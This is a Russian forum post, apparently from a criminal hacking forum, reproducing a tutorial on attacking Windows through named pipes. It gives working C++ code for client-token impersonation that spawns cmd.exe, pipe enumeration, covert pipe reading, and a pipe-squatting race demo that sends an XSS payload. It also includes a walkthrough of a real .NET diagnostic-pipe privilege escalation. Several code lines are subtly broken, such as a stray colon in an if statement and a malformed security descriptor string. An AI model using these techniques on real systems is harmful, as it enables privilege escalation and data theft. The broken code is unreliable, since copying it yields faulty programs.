• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Используем Named Pipes при атаке на Windows

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,181
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В Windows есть много средств межпроцессного взаимодействия. Одно из них — именованные каналы, в народе — пайпы. Давай попробуем направить всю мощь ввода‑вывода на благо пентеста и научимся злоупотреблять этим механизмом сообщений. Пусть никто не уйдет без эскалации привилегий!
В системе крутится огромное количество процессов: системные вроде explorer.exe, RunTimeBroker.exe, а также твои любимые браузер, Steam и МалварьПисатьБыстроСтудия.ехе. Большинство из них хранят молчание и не делятся никакой информацией с внешним миром — считай, такие процессы‑интроверты вроде нас с тобой. Однако бывает и иначе. Некоторые процессы должны передавать данные своим сородичам: информацию о состоянии CPU, разрешении экрана, нажимаемых символах на клавиатуре.

Простейший способ взаимодействия между двумя общими процессами — создание файла. Один процесс пишет, другой читает. Впрочем, это не самый удобный способ общения, правда? Здесь возникают проблемы с синхронизацией, атомарным доступом, настройкой дескрипторов безопасности...


Поэтому разработчики Windows придумали чуть более удобный способ передачи данных и изобрели огромное количество сущностей, позволяющих передавать данные между процессами. Одна из этих сущностей — именованный канал (Named Pipe).


Что такое Pipe​

Пайп представляет собой объект типа FILE_OBJECT, управляемый специальной файловой системой с именем NPFS — Named Pipe File System. Пайп позволяет писать и считывать из себя данные разным процессам, что и решает задачу их взаимодействия. На сетевом уровне передача данных происходит поверх протокола SMB.

Создание именованного канала происходит с помощью функции Для просмотра ссылки Войди или Зарегистрируйся.

Код:
HANDLE CreateNamedPipeA(
  [in]           LPCSTR                lpName,
  [in]           DWORD                 dwOpenMode,
  [in]           DWORD                 dwPipeMode,
  [in]           DWORD                 nMaxInstances,
  [in]           DWORD                 nOutBufferSize,
  [in]           DWORD                 nInBufferSize,
  [in]           DWORD                 nDefaultTimeOut,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
Давай посмотрим, за что отвечает каждое из полей:

  • lpName — имя создаваемого пайпа. Оно может не быть уникальным. Например, в системе без проблем может быть создан пайп с именем 1123 и следом за ним еще один 1123. Взаимодействовать клиенты, конечно же, будут с тем пайпом, который был создан раньше;
  • dwOpenMode — режим работы пайпа (ввод/вывод, только вывод или только ввод) плюс дополнительные флаги. Среди них выделяется FILE_FLAG_FIRST_PIPE_INSTANCE, который позволяет ограничить возможность создания пайпов с одинаковым именем. Впрочем, к этому флагу мы еще вернемся;
  • dwPipeMode — режим работы пайпа. Пайп может передавать поток байтов, а может поток сообщений. Здесь же задается возможность контроля подключения удаленных клиентов и «удержания» клиентов до тех пор, пока все данные не будут считаны или записаны, — так называемый режим блокировки;
  • nMaxInstances — максимальное количество экземпляров канала. Определяет, сколько пайпов с таким именем может быть в системе. Можно указать PIPE_UNLIMITED_INSTANCES, чтобы ОС сама выбрала это количество, основываясь на доступных ресурсах;
  • nOutBufferSize, nInBufferSize — позволяют указать размеры в байтах выходного и входного буфера именованных каналов. Можно указать 0, тогда система будет использовать размеры по умолчанию;
  • nDefaultTimeOut — длительность интервала ожидания в миллисекундах для функции WaitNamedPipe();
  • lpSecurityAttributes — атрибуты защиты. Кстати, это единственный механизм защиты в пайпах. Если в качестве этого значения передавать NULL, то к пайпу смогут получить полный доступ члены группы ЛА, система и создатель пайпа, а доступ на чтение будет у Everyone и учетки Anonymous. Короче, если при создании пайпа ты не указал дескриптор безопасности, то данные из этого пайпа сможет читать кто угодно.
Для работы с пайпом применяются еще некоторые функции (ссылки на документацию):

Первая функция дает возможность серверу ждать подключения клиента (клиент подключается «прозрачно» — ему достаточно указать пайп в вызове CreateFile() или CallNamedFile()).

Код:
BOOL ConnectNamedPipe(
    HANDLE hNamedPipe,
    LPOVERLAPPED lpOverlapped
)

Поля:

  • hNamedPipe — хендл на созданный на сервере пайп;
  • lpOverlapped — позволяет контролировать асинхронные операции, связанные с клиентскими действиями на пайпе. Например, чтобы поток управления возвращался сразу же, а не после считывания всех байтов функцией ReadFile().
Соответственно, функция‑антоним — это DisconnectNamedPipe(). Она дает тебе возможность отключить клиент от пайпа.

WaitNamedPipe() дает клиенту возможность ждать подключения к серверу. Например, пытаться подключиться до тех пор, пока пайп не освободится или не пройдет пять минут.

Код:
BOOL WaitNamedPipeA(
  [in] LPCSTR lpNamedPipeName,
  [in] DWORD  nTimeOut
);
  • lpNamedPipeName — имя пайпа;
  • nTimeOut — время в миллисекундах, в течение которого функция будет ожидать доступности пайпа. Можно указать NMPWAIT_WAIT_FOREVER для бесконечного ожидания.

Пример клиента и сервера​

Для общего понимания предлагаю посмотреть, как может выглядеть передача строки с сервера на клиент.

Код:
// Server.cpp
#include <Windows.h>
#include <iostream>

int main() {
    wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe";
    wchar_t message[40] = L"Hello World";
    HANDLE serverpipe = NULL;
    serverpipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 0, NULL);
    BOOL isPipeConnected = FALSE;
    isPipeConnected = ConnectNamedPipe(serverpipe, NULL);
    if (isPipeConnected) {
        DWORD dw;
        WriteFile(serverpipe, message, sizeof(message), &dw, NULL);
        std::cout << dw << "Writed bytes to pipe" << std::endl;
        DisconnectNamedPipe(serverpipe);
    }
    CloseHandle(serverpipe);
    return 0;
}
// Client.cpp
#include <Windows.h>
#include <iostream>

int main() {
    wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe"; // Можно засунуть айпишник "\\\\10.10.10.10\\pipe\\mypipe"
    HANDLE clientPipe = NULL;
    wchar_t newMessage[40] = { 0 };
    // Коннект к пайпу
    clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
        ReadFile(clientPipe, newMessage, sizeof(newMessage), NULL, 0);
        MessageBox(NULL, newMessage, NULL, MB_OK);
    return 0;
}

Если хотим реализовать многопоточный сервер, то есть при каждом подключении клиента создавать поток, в справке есть Для просмотра ссылки Войди или Зарегистрируйся. Мы также можем использовать функцию PeekNamedPipe() для проверки того, нет ли в пайпе новых данных.


Изучение доступных пайпов​

В системе одновременно работает множество именованных каналов. В следующих разделах будем их активно эксплуатировать, поэтому логично будет научиться находить работающие пайпы!


Process Hacker​

Самый простой способ обнаружения пайпов — воспользоваться красивым GUI в Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся

C++​

Для более глубокого контроля и написания собственных инструментов было бы неплохо создать полноценную тулзу для обнаружения работающих пайпов. Здесь нам подойдет особенность именования каналов — все они начинаются с .pipe. В действительности это отдельное пространство имен. По нему можно пробегаться так же, как и при поиске обычных файлов.

C++:
#include <windows.h>
#include <iostream>
#include <string>

int main()
{
    HANDLE hFind;
    WIN32_FIND_DATA findFileData;
    LPCWSTR pipesPath = L"\\\\.\\pipe\\*";

    hFind = FindFirstFile(pipesPath, &findFileData);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        std::wcerr << L"Failed to find pipes, error: " << GetLastError() << std::endl;
        return 1;
    }

    do
    {
        std::wstring pipeName = L"\\\\.\\pipe\" + std::wstring(findFileData.cFileName);
        std::wcout << L"Found named pipe: " << pipeName;

        HANDLE hPipe = CreateFile(
            pipeName.c_str(),
            GENERIC_READ |
            GENERIC_WRITE,
            0,
            NULL,
            OPEN_EXISTING,
            0,
            NULL);

        if (hPipe != INVALID_HANDLE_VALUE)
        {
            DWORD clientPID;
            if (GetNamedPipeClientProcessId(hPipe, &clientPID))
            {
                std::wcout << L", Client PID: " << clientPID;
            }
            else
            {
                std::wcerr << L", Failed to get client PID, error: " << GetLastError();
            }

            if (GetNamedPipeServerProcessId(hPipe, &clientPID))
            {
                std::wcout << L", Server PID: " << clientPID;
            }
            else
            {
                std::wcerr << L", Failed to get client PID, error: " << GetLastError();
            }

            CloseHandle(hPipe);
        }
        else
        {
            std::wcerr << L", Failed to open pipe, error: " << GetLastError();
        }

        std::wcout << std::endl;

    } while (FindNextFile(hFind, &findFileData) != 0);

    FindClose(hFind);
    return 0;
}
Для просмотра ссылки Войди или Зарегистрируйся
Я также добавил пример обнаружения PID клиента пайпа и сервера. Я предполагаю, что клиент всегда будет нашим процессом, однако ты можешь воспользоваться функцией GetNamedPipeClientProcessId() и в другом контексте: например, перехватив чужой хендл, как я описывал в статье «Для просмотра ссылки Войди или Зарегистрируйся».

Еще есть чуть более сложный вариант — сначала получить все хендлы, а потом среди них находить пайпы. Я бы гордо игнорировал этот метод, однако у меня в заметках сохранен Для просмотра ссылки Войди или Зарегистрируйся, значит, кому‑то когда‑то это понадобилось.


PowerShell​

Согласись, что автоматизация и C++ — не самые близкие вещи. Исследовать пайпы можно и через PowerShell, можно даже сделать красивый вывод дескрипторов.

# Ко всем пайпам
Get-ChildItem \\.\pipe\ | ForEach-Object -ErrorAction SilentlyContinue GetAccessControl

# К конкретному пайпу
Get-ChildItem \\.\pipe\eventlog | ForEach-Object -ErrorAction SilentlyContinue GetAccessControl
Для просмотра ссылки Войди или Зарегистрируйся

IO Ninja​

Но самый крутой вариант, особенно с целью найти уязвимость, — это Для просмотра ссылки Войди или Зарегистрируйся. Эта утилита позволяет выводить максимально подробную информацию о пайпах и предоставляет все необходимые данные для ресерча.

Для просмотра ссылки Войди или Зарегистрируйся

PipeViewer​

С IO Ninja может смело посоревноваться Для просмотра ссылки Войди или Зарегистрируйся. У инструмента приятный графический интерфейс, автоматический вывод дескрипторов и функция PipeChat, позволяющая установить быстрое соединение с каналом.

Для просмотра ссылки Войди или Зарегистрируйся

Имперсонация клиентов​

Предлагаю начать с базы. Серверы именованных каналов имеют право олицетворять подключенные клиенты. Причем если клиент не переопределял уровень имперсонации, то ему будет назначен стандартный — SecurityImpersonation. Такого уровня достаточно для запуска cmd.exe от лица пользователя.

Сервер может нацепить на себя токен клиента через вызов функции Для просмотра ссылки Войди или Зарегистрируйся.

Код:
BOOL ImpersonateNamedPipeClient(
  [in] HANDLE hNamedPipe
);

Здесь hNamedPipe — это хендл пайпа, к которому подключился клиент.

В этом и следующих разделах мы будем симулировать поведение клиента и сервера. В коде ты встретишь Server.cpp (Pipe Server) и Client.cpp — клиентская часть, которая подключается к пайпу.

Для имперсонации клиента достаточно лишь дождаться его подключения и вызвать функцию чтения.

Код:
// Client.cpp
#include <iostream>
#include <Windows.h>

const int MESSAGE_SIZE = 512;

int main()
{
    LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
    HANDLE hClientPipe = NULL;

    wchar_t msg[] = L"imp";
    DWORD dwBytesReaded;

    std::wcout << L"Connecting to " << cwPipeName << std::endl;
    hClientPipe = CreateFile(cwPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hClientPipe != NULL)
    {
        std::wcout << L"Success" << std::endl;

        while (true) {
            ReadFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL);
            WriteFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL);
        }

    }
    return 0;
}
// Server.cpp
#include <iostream>
#include <windows.h>
#include <sddl.h>

int main() {
    LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
    HANDLE hServerPipe = NULL;
    BOOL bPipeConnected = FALSE;
    DWORD dwErr;
    wchar_t msg[] = L"imp";
    DWORD dwBytesWritten;

    SECURITY_DESCRIPTOR sd = { 0 };
    SECURITY_ATTRIBUTES sa = { 0 };

    if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
    {
        wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError());
        return NULL;
    }

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"DA;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
    {
        wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
        return NULL;
    }

    hServerPipe = CreateNamedPipe(cwPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);

    bPipeConnected = ConnectNamedPipe(hServerPipe, NULL);

    if (bPipeConnected) {
        std::wcout << "Client Connected!" << std::endl;

        WriteFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL);

        ReadFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL);

        if (ImpersonateNamedPipeClient(hServerPipe) == 0)
        {
            dwErr = GetLastError();
            std::wcout << dwErr << std::endl;
        }

        HANDLE hSystemToken;
        HANDLE hSystemTokenDup;

        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))
        {
            wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
            return -1;
        }

        if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
        {
            wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
            return -1;
        }

        wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe";
        PROCESS_INFORMATION pi = {};
        STARTUPINFO si = {};
        ZeroMemory(&si, sizeof(STARTUPINFO));
        si.cb = sizeof(STARTUPINFO);

        DWORD len;
        TOKEN_STATISTICS stats;
        if :GetTokenInformation(hSystemTokenDup, TokenStatistics, &stats, sizeof(stats), &len)) {
            printf("Logon Session ID: 0x%08llX\n", (stats.AuthenticationId));
            printf("Token Type: %s\n", stats.TokenType == TokenPrimary ? "Primary" : "Impersonation");
            printf("Dynamic charged (bytes): %lu\n", stats.DynamicCharged);
            printf("Dynamic available (bytes): %lu\n", stats.DynamicAvailable);
            printf("Group count: %lu\n", stats.GroupCount);
            printf("Privilege count: %lu\n", stats.PrivilegeCount);
        }

        if (CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == 0)
        {
            dwErr = GetLastError();
            std::wcout << dwErr << std::endl;
        }
    }
    return 0;
}
В клиентском коде все очевидно — происходит лишь подключение к пайпу. В коде сервера создаем пайп, меняем его дескриптор (чтобы у всех были права на чтение/запись), после подключения клиента хватаем его токен и имперсонируем. Сервер рекомендую запускать от лица системы либо от учетной записи, у которой есть права на вызов CreateProcessWithTokenW().

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Есть реализации и на других языках, вот два варианта на PowerShell: Для просмотра ссылки Войди или Зарегистрируйся за авторством S3cur3Th1sSh1t, Для просмотра ссылки Войди или Зарегистрируйся из репозитория пользователя decoder-it.

От этой атаки, конечно же, есть защита. Клиент может контролировать уровень имперсонации. О защите подробно написано в Для просмотра ссылки Войди или Зарегистрируйся. Если тебе интересно узнать, как конкретно работает имперсонация через пайпы, рекомендую изучить Для просмотра ссылки Войди или Зарегистрируйся Джонатана Джонсона.


Чейн с SeImpersonate​

Возможности имперсонации часто используются в популярных эксплоитах «картофельной» серии. Они позволяют повысить свои привилегии до уровня системы, имея доступ к учетной записи с SeImpersonatePrivilege. Общий концепт прост: стриггерить учетную запись системы на пайп, захватить токен, нацепить его на себя.

Вот несколько таких эксплоитов:

Отдельно хочу выделить эксплоит Для просмотра ссылки Войди или Зарегистрируйся. Глобально его логика ничем не отличается от инструментов, перечисленных выше, однако сам триггер происходит по методу Kerberos Relay. То есть идет злоупотребление DCOM-аутентификацией. Я подробно рассматривал этот механизм в материале «Для просмотра ссылки Войди или Зарегистрируйся» на «Хабре».

Вот что происходит при использовании этого эксплоита.

  1. Запускается Для просмотра ссылки Войди или Зарегистрируйся.
    Для просмотра ссылки Войди или Зарегистрируйся
  2. Через перезапись кода функция Для просмотра ссылки Войди или Зарегистрируйся биндит на разрешенном 135-м порте (чтобы перехватывать SMB-аутентификацию) функции RpcServerUseProtseqEp() в RPC Dispatch Table. Вместо этого будет вызываться функция Для просмотра ссылки Войди или Зарегистрируйся.
    Для просмотра ссылки Войди или Зарегистрируйся
  3. В качестве конечной точки для подключения указывается Для просмотра ссылки Войди или Зарегистрируйся.
    Для просмотра ссылки Войди или Зарегистрируйся
  4. Срабатывает триггер системы через маршаллинг вредоносного объекта OBJREF. Происходит обращение к OXID Resolver.
  5. OXID Resolver отдает RPC String Binding на эндпоинт из пункта 3.
  6. Происходит аутентификация на NamedPipe и дергается функция Для просмотра ссылки Войди или Зарегистрируйся.
Для просмотра ссылки Войди или Зарегистрируйся

Скрытое чтение данных​

Как ты уже знаешь, пайпы нужны для чтения данных. У пайпов есть дескриптор безопасности, который по умолчанию позволяет всем читать текстовые данные из пайпа. Сразу даже как‑то не верится: неужели мы можем считывать все данные из пайпа? Можем!

Нужно только учесть одну особенность: читают данные обычно с помощью стандартных API, например ReadFile(). А такое считывание приведет к тому, что пайп опустеет. То есть данные будут считаны и удалены из пайпа. Для нас такое поведение недопустимо, поэтому на помощь приходит функция Для просмотра ссылки Войди или Зарегистрируйся. Эта функция считывает данные, не удаляя их из пайпа.

С ней мы сможем получить список пайпов в системе, а потом в цикле считывать из них данные с помощью PeekNamedPipe() и искать в них чувствительную информацию или хотя бы какие‑нибудь данные, которые помогут тебе продвинуться дальше.

Я немного изменил логику программы в части поиска пайпов, добавив возможность чтения данных, лежащих в пайпе, с выводом размерности. Код большой, целиком ищи на Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся

Гонка пайпов​

Помнишь, я говорил, что можно создавать неограниченное количество каналов с одним и тем же именем? Система будет использовать тот канал, который был создан раньше. Можно считать, что все пайпы с одним названием организованы в формате очереди — First In First Out.

Таким образом, появляется возможность некоторого состояния гонки: кто быстрей, того и тапки. Есть одно исключение: если при создании пайпа используется флаг FILE_FLAG_FIRST_PIPE_INSTANCE, то Windows автоматически проверит, нет ли пайпа с таким именем. Если имя уже занято, то пайп не создастся. Также стоит учесть параметр nMaxInstances, который определяет максимальное количество пайпов с одним именем.

Держи в голове и еще одну особенность: если в системе уже создан пайп, то новые создаваемые пайпы с таким же именем будут наследовать дескриптор безопасности ранее созданного пайпа.

Как это можно эксплуатировать? Допустим, есть клиентское приложение, возможно даже работающее в другом контексте, которое пытается подключиться к такому же привилегированному приложению — серверу пайпов. Если мы сможем опередить серверное приложение и создать пайп с нужным именем раньше, то клиент подключится к нам и у нас будут все возможности для воздействия на него. Например, никто не помешает имперсонировать чужой контекст или отправлять специально созданные пакеты в пайп, ожидая, что клиент совершит вредоносные действия.

Итак, сценарий атаки на клиент по шагам.

  1. Определяем целевое приложение, которое создает пайп.
  2. Обнаруживаем клиенты пайпа. Делать это можно через PipeViewer.
    Для просмотра ссылки Войди или Зарегистрируйся
  3. Пишем приложение, которое создает пайп с таким же именем, что и атакуемое приложение.
  4. Реализуем Race Condition, создавая наш пайп раньше, чем приложение‑сервер.
  5. Клиенты начинают подключаться к нам.
  6. Проводим имперсонацию или пишем/читаем данные. В общем, воздействуем на клиент так, как можем.
Есть сценарий атаки на сервер. Держишь еще в голове информацию про дескриптор? Смотри:

  1. Обнаруживаем приложение, которое создает пайп.
  2. Можем попытаться пореверсить целевое приложение и попытаться обнаружить, какие его возможности доступны клиентам и что они могут делать с сервером. Следует также проверить DACL пайпа.
  3. Скорее всего, DACL не позволит нам подключаться к этому пайпу, поэтому здесь в игру и вступает наш Race Condition.
  4. Пишем программу, которая создает пайп с таким же именем, что и атакуемое приложение. Затем нужно сделать как‑то так, чтобы наша программа создала пайп раньше, чем атакуемое приложение.
  5. Если мы сможем опередить атакуемое приложение, то последующие создаваемые атакуемым приложением пайпы будут наследовать права доступа нашего пайпа. Это позволит нам подключиться к ранее недоступному пайпу и пользоваться его возможностями.
  6. Успешно подключаемся к пайпу в целевом приложении и злоупотребляем его возможностями.
Подобная ситуация уже Для просмотра ссылки Войди или Зарегистрируйся в реальных условиях: это Для просмотра ссылки Войди или Зарегистрируйся. Подсистема CLR Diagnostics создавала пайп в любом дотнетовском приложении. Конечно же, просто так к этому пайпу подключиться было нельзя — это могла сделать только система или пользователь — владелец процесса. Однако у атакующего была возможность опередить CLR. В таком случае он успешно создавал пайп с нужным именем, а затем подключалась система CLR и создавала еще один пайп (считай, второй в очереди). В этот раз, так как DACL наследовался, созданный системой CLR в процессе .NET пайп позволял подключаться к себе. И тогда атакующий мог воспользоваться возможностями приложения, подгрузив в него Для просмотра ссылки Войди или Зарегистрируйся.

Повторим пошагово.

  1. Эксплоит сначала должен запустить любое дотнетовское приложение от лица другого пользователя через Session Moniker. Моникеры я рассматривал в статье «Для просмотра ссылки Войди или Зарегистрируйся». Автор PoC запускал приложение PhoneExperienceHost.
  2. Приложение написано на .NET, поэтому платформа CLR будет пытаться создать пайп с именем dotnet-diagnostic-{PhoneExperienceHost PID}.
  3. С помощью эксплоита обгоняем платформу CLR и создаем этот пайп в нашем процессе.
  4. Просыпается CLR, создает еще один пайп, уже в процессе PhoneExperienceHost.
  5. На этот второй пайп наследуется дескриптор нашего пайпа (первого). А в нем мы можем прописать что угодно, например разрешение FullAccess группе Everyone.
  6. Подключаемся ко второму пайпу.
  7. Используем возможности приложения и подгружаем профилировщик кода с вредоносным пейлоадом. Здесь‑то и происходит LPE, потому что мы смогли: - инстанцировать .NET-приложение в чужой сессии; - создать в нем пайп, к которому можем подключиться; - подключиться к пайпу и злоупотребить его возможностями.
Для наглядности продемонстрирую эту атаку. Пусть есть некоторый пайп \\.\pipe\helloworld, к которому подключается клиент, читает из него данные и выводит в консоль. Есть также легитимный Pipe Server, который этот пайп запускает и передает клиенту строку.

Код:
// Client.cpp
#include <windows.h>
#include <iostream>

int wmain() {
    const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
    HANDLE hPipe = CreateFileW(
        pipeName,
        GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        std::wcerr << L"Error connecting to pipe. Error code: " << GetLastError() << std::endl;
        return 1;
    }

    wchar_t buffer[512];
    DWORD bytesRead;

    if (!ReadFile(hPipe, buffer, sizeof(buffer), &bytesRead, NULL)) {
        std::wcerr << L"Error reading data. Error code: " << GetLastError() << std::endl;
    }
    else {
        std::wcout << L"Received message: " << buffer << std::endl;
    }

    CloseHandle(hPipe);
    return 0;
}
#include <windows.h>
#include <iostream>

int wmain() {
    const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
    HANDLE hPipe = CreateNamedPipeW(
        pipeName,
        PIPE_ACCESS_OUTBOUND,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        512,
        512,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        std::wcerr << L"Error creating named pipe. Error code: " << GetLastError() << std::endl;
        return 1;
    }

    std::wcout << L"Waiting for client connection..." << std::endl;

    if (ConnectNamedPipe(hPipe, NULL) == FALSE) {
        std::wcerr << L"Error connecting client. Error code: " << GetLastError() << std::endl;
        CloseHandle(hPipe);
        return 1;
    }

    const wchar_t* message = L"Hello from Pipe Server!";
    DWORD bytesWritten;

    if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) {
        std::wcerr << L"Error sending data. Error code: " << GetLastError() << std::endl;
    }
    else {
        std::wcout << L"Message sent: " << message << std::endl;
    }

    CloseHandle(hPipe);
    return 0;
}

Для просмотра ссылки Войди или Зарегистрируйся
Однако некий Evil.exe оказался быстрее нашего Server.exe. Смотри, что происходит:

Код:
// Evil.cpp
#include <windows.h>
#include <iostream>

int wmain() {
    const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
    HANDLE hPipe = CreateNamedPipeW(
        pipeName,
        PIPE_ACCESS_OUTBOUND,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        512,
        512,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        std::wcerr << L"Error creating named pipe. Error code: " << GetLastError() << std::endl;
        return 1;
    }

    std::wcout << L"Waiting for client connection..." << std::endl;

    if (ConnectNamedPipe(hPipe, NULL) == FALSE) {
        std::wcerr << L"Error connecting client. Error code: " << GetLastError() << std::endl;
        CloseHandle(hPipe);
        return 1;
    }

    const wchar_t* message = L"<img src=x onerror=alert()>!";
    DWORD bytesWritten;

    if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) {
        std::wcerr << L"Error sending data. Error code: " << GetLastError() << std::endl;
    }
    else {
        std::wcout << L"Message sent: " << message << std::endl;
    }

    CloseHandle(hPipe);
    return 0;
}

Для просмотра ссылки Войди или Зарегистрируйся

Как видишь, Evil.exe создал пайп раньше, за ним тот же самый пайп создал и Server.exe, но, согласно принципу FIFO, Windows дала возможность подключиться клиенту первым к Evil.exe, а Server.exe проигнорировала.

Выводы​

Порой встроенные механизмы межпроцессного взаимодействия могут таить в себе самые неожиданные концепции и примитивы, которые позволят атакующему повыситься в системе, прочитать чувствительные данные или внедрить собственные библиотеки в чужие процессы. Для обнаружения таких векторов нужно обладать упорством, верой в себя и щепоткой удачи.
 
Activity
So far there's no one here
Сверху Снизу